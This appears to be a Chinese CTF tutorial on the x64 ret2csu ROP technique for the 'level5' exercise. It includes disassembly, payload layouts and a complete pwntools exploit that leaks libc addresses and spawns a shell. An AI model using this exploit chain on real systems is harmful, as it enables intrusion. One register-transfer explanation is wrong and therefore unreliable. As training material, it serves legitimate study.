原理:
程序在编译的过程中通常会加入一些通用函数进行初始化操作,很多程序的源码不同,但初始化的过程是相同的,针对这些初始化函数,可以提取通用的gadgets使用。
_libc_cus_init函数
主要针对64位程序的,与32位的栈传参不同的是,64位函数中函数前6个参数是通过寄存器传递的,但很难找到每一个寄存器对应的gadgets。可以利用x64的_libc_csu_init中的gadgets,这个函数是用来对libc进行初始化操作的,而且一般程序都会调用libc函数,所以这个函数一定会存在。
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16�o
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54�j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34�j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp
gadget1可以利用栈溢出构造栈上的数据从而控制rbx,rbp,r12,r13,r14,r15寄存器的数据。
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54�j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
将r13的值赋给rdx,r12的值赋给r14,将r15的值赋给edi,然后调用call qword ptr [r12+rbx*8]
通过控制r12和rbx的值来控制执行想要执行的函数。然后判断rbx+1是否与rbp相等,如果相等就继续执行,然后ret到想要继续执行的地址。
例:蒸米的level5
查看基本信息,开启了堆栈不可执行保护
level.c#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function()
{
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv)
{
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用,所以我们要先想办法泄露内存信息,找到system()的值,然后再传递“/bin/sh”到.bss段, 最后调用system(“/bin/sh”)。因为原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。但是在x64下有一些万能的gadgets可以利用。用objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。
00000000004005c0 <__libc_csu_init>:
4005c0: 41 57 push %r15
4005c2: 41 56 push %r14
4005c4: 41 89 ff mov %edi,%r15d
4005c7: 41 55 push %r13
4005c9: 41 54 push %r12
4005cb: 4c 8d 25 3e 08 20 00 lea 0x20083e(%rip),%r12 # 600e10 <__frame_dummy_init_array_entry>
4005d2: 55 push %rbp
4005d3: 48 8d 2d 3e 08 20 00 lea 0x20083e(%rip),%rbp # 600e18 <__init_array_end>
4005da: 53 push %rbx
4005db: 49 89 f6 mov %rsi,%r14
4005de: 49 89 d5 mov %rdx,%r13
4005e1: 4c 29 e5 sub %r12,%rbp
4005e4: 48 83 ec 08 sub $0x8,%rsp
4005e8: 48 c1 fd 03 sar $0x3,%rbp
4005ec: e8 0f fe ff ff callq 400400 <_init>
4005f1: 48 85 ed test %rbp,%rbp
4005f4: 74 20 je 400616 <__libc_csu_init+0x56>
4005f6: 31 db xor %ebx,%ebx
4005f8: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
4005ff: 00
400600: 4c 89 ea mov %r13,%rdx
400603: 4c 89 f6 mov %r14,%rsi
400606: 44 89 ff mov %r15d,%edi
400609: 41 ff 14 dc callq *(%r12,%rbx,8)
40060d: 48 83 c3 01 add $0x1,%rbx
400611: 48 39 eb cmp %rbp,%rbx
400614: 75 ea jne 400600 <__libc_csu_init+0x40>
400616: 48 83 c4 08 add $0x8,%rsp
40061a: 5b pop %rbx
40061b: 5d pop %rbp
40061c: 41 5c pop %r12
40061e: 41 5d pop %r13
400620: 41 5e pop %r14
400622: 41 5f pop %r15
400624: c3 retq
先构造playload1,利用write()输出write的内存地址,gadget是call qword ptr[r12+rb*8],应该使用write.got的地址,再返回原程序中重复利用buffer overflow的漏洞,需要继续覆盖栈上的数据直到main()函数
playload1
#rdi=edi=r15, rsi=r14, rdx=r13
#write(rdi=1,rsi=write_got,rdx=8)
payload1 = "\x00"*136
#pop junk rbx rbp r12 r13 r14 r15 ret
payload1 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(0x400600)
payload1 += "\x00"*56 #0x38
payload1 += p64(main_addr)
exp收到write()的内存地址后,可以计算出system()再内存中的地址,利用read()将system()的地址以及“/bin/sh”读入到bss.段内存中
#rdi=edi=r15, rsi=r14, rdx=r13
#read(rdi=0,rsi=bss_addr,rdx=16)
payload2 = "\x00"*136
#pop junk rbx rbp r12 r13 r14 r15 ret
payload2 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(16) + p64(bss_addr) + p64(0) + p64(0x400600)
payload2 += "\x00"*56
payload2 += p64(main_addr)
最后调用system()函数执行"/bin/sh",system()的地址保存早。bss段的首地址上,"/bin/sh"的地址存在.bss段首地址+8字节上
playload3
#rdi=edi=r15, rsi=r14, rdx=r13
#system(rdi=bss_addr+8="/bin/sh\0")
payload3 = "\x00"*136
#pop junk rbx rbp r12 r13 r14 r15 ret
payload3 += p64(0x400616) + p64(0) + p64(0) + p64(1) +p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) + p64(0x400600)
payload3 += "\x00"*56
payload3 += p64(main_addr)
copy来的exp。。。
#!/usr/bin/env python
from pwn import *
elf = ELF('level5')
libc = ELF('libc.so.6')
p = process('./level5')
#p = remote('127.0.0.1',10001)
write_got = elf.got['write']
print "write_got= " + hex(write_got)
read_got = elf.got['read']
print "read_got= " + hex(read_got)
main_addr = 0x400587
system_off_addr = libc.symbols['write'] - libc.symbols['system']
print "system_off_addr= " + hex(system_off_addr)
#rdi=edi=r15, rsi=r14, rdx=r13
#write(rdi=1,rsi=write_got,rdx=8)
payload1 = "\x00"*136
#pop junk rbx rbp r12 r13 r14 r15 ret
payload1 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(0x400600)
payload1 += "\x00"*56 #0x38
payload1 += p64(main_addr)
p.recvuntil("Hello, World\n")
print "\n################seding payload1################\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr= " + hex(write_addr)
system_addr = write_addr - system_off_addr
print "system_addr= " + hex(system_addr)
bss_addr = 0x601040
#rdi=edi=r15, rsi=r14, rdx=r13
#read(rdi=0,rsi=bss_addr,rdx=16)
payload2 = "\x00"*136
#pop junk rbx rbp r12 r13 r14 r15 ret
payload2 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(16) + p64(bss_addr) + p64(0) + p64(0x400600)
payload2 += "\x00"*56
payload2 += p64(main_addr)
p.recvuntil("Hello, World\n")
print "\n###############seding payload2################\n"
p.send(payload2)
sleep(1)
p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)
#rdi=edi=r15, rsi=r14, rdx=r13
#system(rdi=bss_addr+8="/bin/sh\0")
payload3 = "\x00"*136
#pop junk rbx rbp r12 r13 r14 r15 ret
payload3 += p64(0x400616) + p64(0) + p64(0) + p64(1) +p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) + p64(0x400600)
payload3 += "\x00"*56
payload3 += p64(main_addr)
p.recvuntil("Hello, World\n")
print "\n##############seding payload3###############\n"
p.send(payload3)
sleep(1)
p.interactive()
网友评论